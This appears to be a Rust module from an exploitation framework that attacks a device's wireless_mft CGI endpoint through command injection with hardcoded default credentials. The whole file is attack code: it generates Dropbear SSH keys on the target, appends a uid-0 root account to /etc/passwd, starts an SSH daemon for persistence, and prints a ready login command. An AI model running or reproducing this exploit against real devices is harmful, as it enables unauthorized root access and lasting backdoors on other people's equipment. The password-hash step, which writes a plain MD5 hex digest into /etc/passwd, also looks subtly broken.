use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use md5;

/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
fn normalize_target(raw: &str) -> String {
    // Case: bracketed IPv6 with port, e.g. "[[::1]]:8080"
    if raw.contains("]:") {
        if let Some(idx) = raw.rfind("]:") {
            let addr_raw = &raw[..idx];
            let port = &raw[idx + 2..];
            // strip ALL brackets from the address portion
            let addr_inner = addr_raw
                .trim_start_matches('[')
                .trim_end_matches(']')
                .to_string();
            return format!("[{}]:{}", addr_inner, port);
        }
    }
    // Otherwise, remove any outer brackets entirely...
    let inner = raw
        .trim_start_matches('[')
        .trim_end_matches(']')
        .to_string();
    // ...and only re-wrap in brackets if it's a bare IPv6 (contains a colon).
    if inner.contains(':') {
        format!("[{}]", inner)
    } else {
        inner
    }
}

/// Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
    let normalized = normalize_target(target);
    let url = format!(
        "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
        normalized, cmd
    );
    println!("[*] Sending RCE payload: {}", cmd);

    let resp = client.get(&url).send().await?;
    println!("[+] Status: {}", resp.status());
    println!("[+] Response:\n{}", resp.text().await?);

    Ok(())
}

/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
    let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
    println!("[*] Generating Dropbear SSH key...");
    exploit_rce(client, target, cmd).await
}

/// Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
    let payload = format!(
        "echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
        user, hash
    );
    println!("[*] Injecting user '{}' with root privileges...", user);
    exploit_rce(client, target, &payload).await
}

/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
    let cmd = "/etc/dropbear/dropbear%20-E%20-F";
    println!("[*] Starting Dropbear SSH daemon...");
    exploit_rce(client, target, cmd).await
}

/// Generate an MD5 hash of the given password
fn generate_md5_hash(password: &str) -> String {
    let digest = md5::compute(password.as_bytes());
    format!("{:x}", digest)
}

/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .build()?;

    println!("[*] Dropbear SSH persistence for target: {}", target);

    print!("Enter username to inject: ");
    io::stdout().flush()?;
    let mut user = String::new();
    io::stdin().read_line(&mut user)?;
    let user = user.trim();

    print!("Enter password (will be hashed): ");
    io::stdout().flush()?;
    let mut pass = String::new();
    io::stdin().read_line(&mut pass)?;
    let pass = pass.trim();

    // Hash it!
    let hash = generate_md5_hash(pass);
    println!("[*] Generated MD5 hash: {}", hash);

    // Run each step
    generate_ssh_key(&client, target).await?;
    inject_root_user(&client, target, user, &hash).await?;
    start_dropbear(&client, target).await?;

    println!("\n[+] Done. Try connecting with:");
    println!(
        "    sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
         -oHostKeyAlgorithms=+ssh-rsa {}@{}",
        pass, user, target
    );
    Ok(())
}

/// Dispatcher entry-point for the auto-dispatch framework
pub async fn run(target: &str) -> Result<()> {
    execute_flow(target).await
}
